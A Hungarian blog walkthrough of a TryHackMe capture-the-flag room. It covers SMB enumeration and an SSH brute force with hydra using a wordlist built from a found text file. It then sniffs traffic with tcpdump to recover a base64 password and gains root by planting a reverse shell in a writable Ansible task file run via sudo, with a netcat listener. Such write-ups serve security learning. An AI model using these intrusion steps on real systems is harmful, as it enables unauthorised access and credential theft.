TryHackMe – Medium – CTF

Ebben a szobában is kreatívnak kell lennünk, például hangsúlyt kap a fájl engedélyek ismerete, de ha valaki szemfüles akkor könnyedén észreveheti, hogy valami nem stimmel. 😉

Eszközök, amiket használni fogunk:
Nmap
Gobuster/Dirsearch
tcpdump
Wireshark
SMBClient

Szokásos módon kezdjük, megnézzük az IP címet a böngészőben, futtatunk egy Nmap-ot és egy Gobustert.

Miután láttam, hogy nyitva van az SMB port (445), rögtön lefuttattam az Nmap SMB listázóját, melyen láthatjuk, hogy milyen megosztásokat érhetünk el kívülről. Az FTP is nyitva van, de az igazából csak egy rabbit hole, azzal nem kell foglalkozni. Az SMBClient tool-lal csatlakozunk a megosztásokra. A temporary share-ben találunk is egy jónéhány mappát, melyeken belül további mappákat találhatunk. Később jöttem rá, hogy ha az összeset végignéztem volna, akkor találok egy SSH kulcsot, de lusta voltam, inkább a text fájl tartalmából indultam ki, ami sikerre is vezetett.

Ha értelmezzük a szöveget, akkor rájöhetünk, hogy bizony itt valahol el van rejtve Simeon jelszava. (hopp, már van is 2 felhasználónevünk!) Fogtam az egyik text fájlt, letöltöttem a gépemre, és feldaraboltam (tr -s ‘[[:punct:][:space:]]’ ‘\n’ < text1.txt > splitted.txt) soronkénti szavakra, mellyel kvázi úgy néz ki, mint egy wordlist. Ezzel a wordlisttel elkezdtem támadni az SSH-t. (hydra -f -l simeon -P splitted.txt ssh://<IP> -V -t 4 -I) Rögtön beigazolódott, hogy jól sejtettem, a szövegben volt elrejtve Simeon jelszava. 🙂

Hydra Simeon jelszava

SSH-val felmegyünk a szerverre. Miután körülnéztünk, láthatjuk, hogy tulajdonképpen semmi érdekes nincs a saját mappánkban, de a home könyvtárban van rajtunk kívül még 2 felhasználó. Azt sejtem, hogy a Theodore felhasználó fiókjába kéne valahogy belépnünk. Felraktam egy LinPEAS-t a szerverre, az szépen kiszedegeti a fontos adatokat nekünk. A támadó gépen elindítunk egy python szervert (python3 -m http.server 8000), majd feltöltjük a LinPEAS-t. A wget parancs nem működött, ezért a curl -C – -O http://<IP>:<PORT>/linpeas.sh parancs segítségével tudunk fájlt feltölteni. Miután lefuttattuk, látható, hogy Theodore jelszava hashelt formában megtalálható, de sajnos ez is egy rabbit hole. Tovább vizsgálva a LinPEAS kimenetét, világossá válik, hogy a tcpdump-ra lesz most szükségünk. A tcpdump -i any -w captured.pcap parancs futtatásával tudunk minden adatforgalmat a .pcap fájlba irányítani. Kicsit várni kell vele, hogy elegendő adat keletkezzen. Ha ezzel megvagyunk, letöltjük a támadó gépre ezt a fájlt. Megnyitjuk Wireshark-kal, majd kielemezzük.

Wireshark

Kis vizsgálat után világossá válik, hogy Theodore jelszava bizony itt rejtőzik. A base64 kódolású sort az echo ‘base64code’ | base64 -d paranccsal tudjuk olvashatóvá tenni. Ha ezzel is megvagyunk, már csak fel kell SSH-zni a szerverre Theodore nevével és a most talált jelszóval. A mappájában meg is találtuk az első zászlót. Már csak rootolni kell a szervert. 🙂 Futtatunk egy sudo -l parancsot, és láthatjuk is, hogy Theodore tud futtatni egy fájlt sudo joggal az automation user nevében. Lefuttatjuk a fájlt a sudo -u automation ./infra_as_code.sh paranccsal. Láthatjuk, hogy milyen fájlokat hív meg a futáshoz. Bemegyünk az adott mappábába (/opt/ansible/roles/geerlingguy.apache/tasks/), amit ha kilistázunk, rögtön feltűnik, hogy bizony itt van a lényeg. A configure-RedHat.yml fájl engedélye mellett ott van az a kis + jel, amiből arra következtethetünk, hogy ezt tudjuk szerkeszteni. A vim configure-RedHat.yml paranccsal átírjuk az utolsó részt, hogy egy reverse shell-t rejtsünk el benne.

Reverse shell a .yml fájlban

Ha ezzel megvagyunk, elindítunk egy NetCat listenert (nc -nlvp 4242), majd újra lefuttatjuk az infra_as_code.sh parancsot. Ezzel meg is kaptuk a root jogot. Innentől már csak bele kell nézni a /root mappába.

Köszönöm a figyelmet.

vircsaft

Vélemény, hozzászólás?

Az e-mail címet nem tesszük közzé. A kötelező mezőket * karakterrel jelöltük

lg